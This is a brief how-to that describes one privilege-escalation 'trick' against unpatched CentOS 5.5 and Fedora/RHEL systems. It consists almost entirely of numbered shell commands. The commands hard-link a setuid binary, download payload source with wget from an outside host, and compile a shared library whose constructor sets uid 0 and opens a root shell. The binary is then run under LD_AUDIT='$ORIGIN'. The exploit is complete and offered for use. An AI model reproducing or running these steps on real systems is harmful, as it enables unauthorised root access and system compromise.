Privilege escalation techniques

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Trick 1

This trick can be used on CentOS 5.5 machines which have not been updated even if SELinux is enabled. Machines updated after October 2010 seem to be safe against this attack. This also works on Fedora / RHEL type of distributions.

1. mkdir /tmp/exploit
2. ln /bin/ping /tmp/exploit/target
3. exec 3< /tmp/exploit/target
4. rm -rf /tmp/exploit/
5. wget pistol.clan.su/payload.c
6. The payload.c file contains

   void __attribute__((constructor)) init()
   {
   setuid(0);
   system("/bin/bash");
   }

7. gcc -w -fPIC -shared -o /tmp/exploit payload.c
8. LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

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